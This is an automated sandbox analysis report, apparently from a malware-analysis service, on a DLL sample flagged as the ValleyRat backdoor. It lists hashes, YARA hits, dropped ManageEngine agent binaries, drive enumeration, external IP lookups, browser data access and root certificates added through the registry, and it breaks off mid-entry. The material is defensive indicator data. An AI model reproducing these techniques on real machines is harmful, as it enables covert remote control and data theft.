Analysis
- max time kernel
111s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
14/10/2026, 15:48
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
d4665762c6f9abd383400d60afda52b0a732e883c8b651fb6804df941428054e.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
34 signatures
150 seconds
Behavioral task
behavioral2
Sample
d4665762c6f9abd383400d60afda52b0a732e883c8b651fb6804df941428054e.dll
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
33 signatures
150 seconds
General
- Target d4665762c6f9abd383400d60afda52b0a732e883c8b651fb6804df941428054e.dll
- Size 5.8MB
- Sample261014-s8shmafs8x
- SHA256 d4665762c6f9abd383400d60afda52b0a732e883c8b651fb6804df941428054e
- MD5 9bb55024656503f71724325c7814c941
- SHA1 989a4a60cb9848b02745d7a70e0f6312ade0154b
- SHA512 67283639675a960e2cd5df587ebd412611031915ba2e85bcfe8679e2bb16b22e628b2dc9e98377c2c9810b9f3f7af65964011cab95569f111c7986fd375d1098
- SSDEEP 98304:djBty0g5LwR3Xv7Rfq4K6z0ShZaLQ2RC6cwmU3E1my7N0OF:djBtnvVm4hZgQ2oiFuD7
- TLSH T13A56CF577AF840BAC8A3C179C66B8A9FE3F274110D31961F9295474A6F37B61CE0B321
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Family: ValleyRat
ValleyRat stage2 is a backdoor written in C++.
- Detects ValleyRAT payload 7 IoCs
resource yara_rule behavioral2/memory/1396-15-0x000001FA1A670000-0x000001FA1A6D9000-memory.dmp family_valleyrat_stage_2_v2 behavioral2/memory/1396-17-0x000001FA1A7E0000-0x000001FA1A850000-memory.dmp family_valleyrat_stage_2_v2 behavioral2/memory/1396-16-0x000001FA1A7E0000-0x000001FA1A850000-memory.dmp family_valleyrat_stage_2_v2 behavioral2/memory/1396-20-0x000001FA1A7E0000-0x000001FA1A850000-memory.dmp family_valleyrat_stage_2_v2 behavioral2/memory/1396-25-0x000001FA1A7E0000-0x000001FA1A850000-memory.dmp family_valleyrat_stage_2_v2 behavioral2/memory/1396-26-0x000001FA1A7E0000-0x000001FA1A850000-memory.dmp family_valleyrat_stage_2_v2 behavioral2/memory/1396-47-0x000001FA1A7E0000-0x000001FA1A850000-memory.dmp family_valleyrat_stage_2_v2 - Badlisted process makes network request 6 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 7 1396 rundll32.exe 8 1396 rundll32.exe 10 1396 rundll32.exe 11 1396 rundll32.exe 12 1396 rundll32.exe 18 1200 msiexec.exe - DCAgent remote management tool 4 IoCs
DCAgent is part of ManageEngine, a remote administration tool that can be used as a backdoor
resource yara_rule behavioral2/files/0x000d00000001c58e-139.dat hacktool_dcagent behavioral2/files/0x000c00000001c5be-370.dat hacktool_dcagent behavioral2/files/0x000c00000001c63b-629.dat hacktool_dcagent behavioral2/files/0x000c00000001c5ad-767.dat hacktool_dcagent - Executes dropped EXE 17 IoCs
pid Process 3352 rundll32.exe 5316 CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe 3908 dcagentregister.exe 5752 7za.exe 2984 dcagentservice.exe 5196 7za.exe 2072 7za.exe 2660 dcstatusutil.exe 4632 dcagentservice.exe 4700 CRU_Reporter.exe 4476 dcinventory.exe 5292 dcusbsummary.exe 2924 dcconfig.exe 2796 dcusb64.exe 3120 dcstatusutil.exe 5796 dcondemand.exe 4852 dcagentregister.exe - Loads dropped DLL 53 IoCs
pid Process 4180 MsiExec.exe 3908 dcagentregister.exe 3908 dcagentregister.exe 3908 dcagentregister.exe 3908 dcagentregister.exe 3908 dcagentregister.exe 3908 dcagentregister.exe 3908 dcagentregister.exe 3908 dcagentregister.exe 3908 dcagentregister.exe 3908 dcagentregister.exe 3908 dcagentregister.exe 3908 dcagentregister.exe 3908 dcagentregister.exe 3908 dcagentregister.exe 3908 dcagentregister.exe 3908 dcagentregister.exe 3908 dcagentregister.exe 3908 dcagentregister.exe 3908 dcagentregister.exe 3908 dcagentregister.exe 3908 dcagentregister.exe 3908 dcagentregister.exe 3908 dcagentregister.exe 3908 dcagentregister.exe 3908 dcagentregister.exe 3908 dcagentregister.exe 3908 dcagentregister.exe 2984 dcagentservice.exe 2660 dcstatusutil.exe 2660 dcstatusutil.exe 2660 dcstatusutil.exe 2660 dcstatusutil.exe 2660 dcstatusutil.exe 2660 dcstatusutil.exe 2660 dcstatusutil.exe 2660 dcstatusutil.exe 2660 dcstatusutil.exe 4632 dcagentservice.exe 4476 dcinventory.exe 5292 dcusbsummary.exe 4476 dcinventory.exe 2924 dcconfig.exe 4476 dcinventory.exe 4476 dcinventory.exe 2924 dcconfig.exe 3120 dcstatusutil.exe 2924 dcconfig.exe 4852 dcagentregister.exe 4852 dcagentregister.exe 2924 dcconfig.exe 5796 dcondemand.exe 3120 dcstatusutil.exe - Modifies file permissions 1 TTPs 5 IoCs
pid Process 6128 icacls.exe 4648 icacls.exe 5740 icacls.exe 2980 icacls.exe 2312 icacls.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Enumerates connected drives 3 TTPs 45 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\I: rundll32.exe File opened (read-only) \??\L: rundll32.exe File opened (read-only) \??\W: rundll32.exe File opened (read-only) \??\Y: rundll32.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\S: rundll32.exe File opened (read-only) \??\X: rundll32.exe File opened (read-only) \??\D: rundll32.exe File opened (read-only) \??\G: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\P: rundll32.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\K: rundll32.exe File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\M: rundll32.exe File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\O: rundll32.exe File opened (read-only) \??\U: rundll32.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Q: rundll32.exe File opened (read-only) \??\V: rundll32.exe File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\S: msiexec.exe - Looks up external IP address via web service 1 TTPs 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 api.ipify.org 1 ip-api.com 10 api.ipify.org - Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\cRClieNt.DlL rundll32.exe File opened for modification C:\Windows\system32\rundll32.exe rundll32.exe File created C:\Windows\SysWOW64\dclibxml2.dll msiexec.exe File created C:\Windows\SysWOW64\dcagentlibxml2.dll msiexec.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
pid Process 1304 WScript.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\tick.ico msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Btn_request.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\cru-monitor-list.json msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dc_msp_image.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\hot_mover_msghldr.gif 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcchat.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DCFAService.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\close_top_hover.gif msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\cfgUpdate.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DevExe32.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\secaddoncrashanalyser.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\devaction_user.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\UEMSRemoteInstallerService.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Upload.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\BinaryInfo.json msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\InvConfig.json msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\Lato-Bold.eot 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Archive_success.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Updates_Active.svg msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcrdsagentwindow.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\vmdrUtils.dll 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources.properties.bak 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\minimize_hover.gif msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\DownloadRepository\~test_240845015.tmp dcagentregister.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_444444_256x240.png 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DCFAService64.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcswmeter.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\sysmanager.dll 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\installationSource.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\global_data_store.dll 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\messagebox_info.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\default.gif msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\arrow_pull_left.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\maximize_icon.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\MicrosoftEdge.admx msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Drop_down.svg msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentserviceaccess.log dcagentservice.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\user.png msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_444444_256x240.png 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcrdservice.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcswmeter.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcClientAuthAccess.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dc_icon.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Apps.svg msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_cc0000_256x240.png 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\maximize_icon.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\tools_reboot_alert.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\generalAlerts.vbs msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentinstaller.log dcagentregister.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcusbsummary.log dcusbsummary.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dropdown.gif msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DevExe32.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcrotatelog.log dcstatusutil.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcdriver.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\otp-lock.png msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\mdmregistrationhandler.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcrotatelog.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\devaccess.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\swConfig.json msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcscreenrec.exe.config 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_555555_256x240.png 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources_nl_NL.properties 7za.exe - Drops file in Windows directory 14 IoCs
description ioc Process File created C:\Windows\Installer\SourceHash{6AD2231F-FF48-4D59-AC26-405AFAE23DB7} msiexec.exe File created C:\Windows\SystemTemp\~DF9A7C2C3B74277D0F.TMP msiexec.exe File created C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\DCAgentServerInfo.json dcagentregister.exe File created C:\Windows\Installer\e5ab3f9.msi msiexec.exe File created C:\Windows\Installer\e5ab3f0.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Installer\e5ab3f1.mst msiexec.exe File opened for modification C:\Windows\Installer\e5ab3f1.mst msiexec.exe File opened for modification C:\Windows\Installer\MSIBDA4.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC575.tmp msiexec.exe File opened for modification C:\Windows\Installer\e5ab3f0.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\SystemTemp\~DF5171CF5580BE29B9.TMP msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 6052 cmd.exe 1176 cmd.exe 2604 cmd.exe 4548 cmd.exe - Modifies trusted root certificate store through registry 1 TTPs 8 IoCs
A root certificate was added, modified, or removed in the trusted certificate store registry paths.
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3C6BBD10A2CEDCB0333D106C91CFB1AB97ABCF7E\Blob = 0300000001000000140000003c6bbd10a2cedcb0333d106c91cfb1ab97abcf7e2000000001000000f0030000308203ec308202d4a00302010202084d2cc3d6c597659f300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303931333131323234355a180f32303531303931333131323234355a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100bbd440ab38fe1d25913cdc09feabab2486695d93bdcaf8145be01cc69d5f9b13ab6148cc37d356fd1abf113cf0332164f4e1ea43ae4231cff37fd02bbe0aad65eb37fef0df231920406ff0c16467645f94b19b8da969d402756924aee9bc8fa146a320a29c067600d305f6d251e58f7e1cc92588da7d3d50f56f0575c94aae101419f50f9b10909237e470ac289320b5cd898338d0e031a23f416c38843d25ac677278f4af9f048a8fc4a3546e2dbcfa407f37ccb68ecdab8b31de7dc79ff97c0d79bcd7724372f6fd2650a6f1202ec198d731c8ca0728f51d6a2ce75f68e1b4eefd37625681fa742fa723ab8e94af5551d6a459cc6160b51b2c2e7f24aead2d0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e0416041401825ce39c528ee3b208e316479cd57e9969d465301f0603551d2304183016801401825ce39c528ee3b208e316479cd57e9969d465300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b050003820101007d67b226122ea14b4f02a8b779d6ca0bff7bf9a35718c3f902eee904943794b2e10e1b480f2209d6a1f94e2439c280a09f74ce3b3007c6cfec8062e7f7901774945e24469861aebaa6b39717d9c23eb790c4e6616a2f2fcea28b40f7e444fb4392062d4b5216ed47c170c1993206093d58174980152c38fad51015138cf0b2172927494f4de6836fa2dbfdee88f9a57cf55a569f8be1524d9b46c239a0b4c48f07c76078b7b1dd5a63262f6ad6815a73631e98b907cd134fc225bb0e73df59f4f84e9bb498d0cfd4710795375497ed57dabb2c4c9a5e698d11f32913ce1fae16d7a30a1b23adab84cf7012a1753886b0f9e0e3afad72898d12d4828b85121efd dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3C6BBD10A2CEDCB0333D106C91CFB1AB97ABCF7E\Blob = 0f00000001000000200000000b0f40ef08a2808e1e395f6c927bb3ac139a3eb28219a4aaa41a58569ab537630300000001000000140000003c6bbd10a2cedcb0333d106c91cfb1ab97abcf7e2000000001000000f0030000308203ec308202d4a00302010202084d2cc3d6c597659f300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303931333131323234355a180f32303531303931333131323234355a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100bbd440ab38fe1d25913cdc09feabab2486695d93bdcaf8145be01cc69d5f9b13ab6148cc37d356fd1abf113cf0332164f4e1ea43ae4231cff37fd02bbe0aad65eb37fef0df231920406ff0c16467645f94b19b8da969d402756924aee9bc8fa146a320a29c067600d305f6d251e58f7e1cc92588da7d3d50f56f0575c94aae101419f50f9b10909237e470ac289320b5cd898338d0e031a23f416c38843d25ac677278f4af9f048a8fc4a3546e2dbcfa407f37ccb68ecdab8b31de7dc79ff97c0d79bcd7724372f6fd2650a6f1202ec198d731c8ca0728f51d6a2ce75f68e1b4eefd37625681fa742fa723ab8e94af5551d6a459cc6160b51b2c2e7f24aead2d0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e0416041401825ce39c528ee3b208e316479cd57e9969d465301f0603551d2304183016801401825ce39c528ee3b208e316479cd57e9969d465300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b050003820101007d67b226122ea14b4f02a8b779d6ca0bff7bf9a35718c3f902eee904943794b2e10e1b480f2209d6a1f94e2439c280a09f74ce3b3007c6cfec8062e7f7901774945e24469861aebaa6b39717d9c23eb790c4e6616a2f2fcea28b40f7e444fb4392062d4b5216ed47c170c1993206093d58174980152c38fad51015138cf0b2172927494f4de6836fa2dbfdee88f9a57cf55a569f8be1524d9b46c239a0b4c48f07c76078b7b1dd5a63262f6ad6815a73631e98b907cd134fc225bb0e73df59f4f84e9bb498d0cfd4710795375497ed57dabb2c4c9a5e698d11f32913ce1fae16d7a30a1b23adab84cf7012a1753886b0f9e0e3afad72898d12d4828b85121efd dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3318D8D5BC68C3A093275FD9ECB05601BAB4452D\Blob = 0f0000000100000020000000ab3643f2e1732fd3912fb3603a9e513cd2d8f611de844844c897266a8e6a688d0300000001000000140000003318d8d5bc68c3a093275fd9ecb05601bab4452d2000000001000000d8030000308203d4308202bca00302010202085c9e3c6a069782bd300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303931333131323234345a180f32303531303931333131323234345a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100b7fdb8e15889be687ff26b83016fdf0600ef11a7b41c2bd9738b37c93be3cc9533629ccd65f69778c5ddaed121f2f9d17a9398f7af7b62b3682b9ea200f84c021cbbcace5f4a534ef5a5b4248083b4983a4c0ee11ca1c5558288d182b64b89c2c3869793feafc9afef57d3071bfb6bc4a2363f1e11789d34ee4466ea91458938c2188e40de0c02a5df0d7ce313b251fb66d4920c23f6c2a2337ae3f0d2658cba0010b2fc2feed0f11fe2ef0c82b70d303d62657b91ffb134ac10cf1c92a2f2e5d9cca517e001a2d2f2d0b9111c8835d4f2c7910474cdf98cf4f7684caeaf5a9b6e2b229bcb9afdbe30a760f590721cbb7996ce57fb78a76c653f9aa2fbb4ac250203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604143cc284c25cd4357348ed1cf0a512fbae949f7790301f0603551d230418301680143cc284c25cd4357348ed1cf0a512fbae949f7790300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100b644c329d59a228171eaa12fb33c8baccea0767b01278c19594904824a8526d85528348cfa9fa2fb9d5f81acf728df0f9d724fad8de4293c476711148c88a7841a7eaafd6fa6035398537682118918d31521199209a813b9b86ef3f72c33116a5c6027c1bd496a10e530fd33f220be072292c6309938f7fa83f2ae7c1d07c8fe89d70df7a620557b7440c96259de6fc3ae2f218146192e56ee7ff4e45fb26b92cf01763c599f36ac84197414fe885d3afe42631183d368f5f925ddf7899809e7bf850ebbe0c78fb8f158afd10f89cfe9f787b374e940461c25b24c93290a16ff29357246d300f7659f469705d12b4293fbbf2a0f6fd8bb6f5435ca9966a1690c dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3C6BBD10A2CEDCB0333D106C91CFB1AB97ABCF7E\Blob = 14000000010000001400000001825ce39c528ee3b208e316479cd57e9969d4650300000001000000140000003c6bbd10a2cedcb0333d106c91cfb1ab97abcf7e0f00000001000000200000000b0f40ef08a2808e1e395f6c927bb3ac139a3eb28219a4aaa41a58569ab537632000000001000000f0030000308203ec308202d4a00302010202084d2cc3d6c597659f300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303931333131323234355a180f32303531303931333131323234355a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100bbd440ab38fe1d25913cdc09feabab2486695d93bdcaf8145be01cc69d5f9b13ab6148cc37d356fd1abf113cf0332164f4e1ea43ae4231cff37fd02bbe0aad65eb37fef0df231920406ff0c16467645f94b19b8da969d402756924aee9bc8fa146a320a29c067600d305f6d251e58f7e1cc92588da7d3d50f56f0575c94aae101419f50f9b10909237e470ac289320b5cd898338d0e031a23f416c38843d25ac677278f4af9f048a8fc4a3546e2dbcfa407f37ccb68ecdab8b31de7dc79ff97c0d79bcd7724372f6fd2650a6f1202ec198d731c8ca0728f51d6a2ce75f68e1b4eefd37625681fa742fa723ab8e94af5551d6a459cc6160b51b2c2e7f24aead2d0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e0416041401825ce39c528ee3b208e316479cd57e9969d465301f0603551d2304183016801401825ce39c528ee3b208e316479cd57e9969d465300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b050003820101007d67b226122ea14b4f02a8b779d6ca0bff7bf9a35718c3f902eee904943794b2e10e1b480f2209d6a1f94e2439c280a09f74ce3b3007c6cfec8062e7f7901774945e24469861aebaa6b39717d9c23eb790c4e6616a2f2fcea28b40f7e444fb4392062d4b5216ed47c170c1993206093d58174980152c38fad51015138cf0b2172927494f4de6836fa2dbfdee88f9a57cf55a569f8be1524d9b46c239a0b4c48f07c76078b7b1dd5a63262f6ad6815a73631e98b907cd134fc225bb0e73df59f4f84e9bb498d0cfd4710795375497ed57dabb2c4c9a5e698d11f32913ce1fae16d7a30a1b23adab84cf7012a1753886b0f9e0e3afad72898d12d4828b85121efd dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3318D8D5BC68C3A093275FD9ECB05601BAB4452D\Blob = 1400000001000000140000003cc284c25cd4357348ed1cf0a512fbae949f77900300000001000000140000003318d8d5bc68c3a093275fd9ecb05601bab4452d0f0000000100000020000000ab3643f2e1732fd3912fb3603a9e513cd2d8f611de844844c897266a8e6a688d2000000001000000d8030000308203d4308202bca00302010202085c9e3c6a069782bd300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303931333131323234345a180f32303531303931333131323234345a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100b7fdb8e15889be687ff26b83016fdf0600ef11a7b41c2bd9738b37c93be3cc9533629ccd65f69778c5ddaed121f2f9d17a9398f7af7b62b3682b9ea200f84c021cbbcace5f4a534ef5a5b4248083b4983a4c0ee11ca1c5558288d182b64b89c2c3869793feafc9afef57d3071bfb6bc4a2363f1e11789d34ee4466ea91458938c2188e40de0c02a5df0d7ce313b251fb66d4920c23f6c2a2337ae3f0d2658cba0010b2fc2feed0f11fe2ef0c82b70d303d62657b91ffb134ac10cf1c92a2f2e5d9cca517e001a2d2f2d0b9111c8835d4f2c7910474cdf98cf4f7684caeaf5a9b6e2b229bcb9afdbe30a760f590721cbb7996ce57fb78a76c653f9aa2fbb4ac250203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604143cc284c25cd4357348ed1cf0a512fbae949f7790301f0603551d230418301680143cc284c25cd4357348ed1cf0a512fbae949f7790300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100b644c329d59a228171eaa12fb33c8baccea0767b01278c19594904824a8526d85528348cfa9fa2fb9d5f81acf728df0f9d724fad8de4293c476711148c88a7841a7eaafd6fa6035398537682118918d31521199209a813b9b86ef3f72c33116a5c6027c1bd496a10e530fd33f220be072292c6309938f7fa83f2ae7c1d07c8fe89d70df7a620557b7440c96259de6fc3ae2f218146192e56ee7ff4e45fb26b92cf01763c599f36ac84197414fe885d3afe42631183d368f5f925ddf7899809e7bf850ebbe0c78fb8f158afd10f89cfe9f787b374e940461c25b24c93290a16ff29357246d300f7659f469705d12b4293fbbf2a0f6fd8bb6f5435ca9966a1690c dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3C6BBD10A2CEDCB0333D106C91CFB1AB97ABCF7E\Blob = 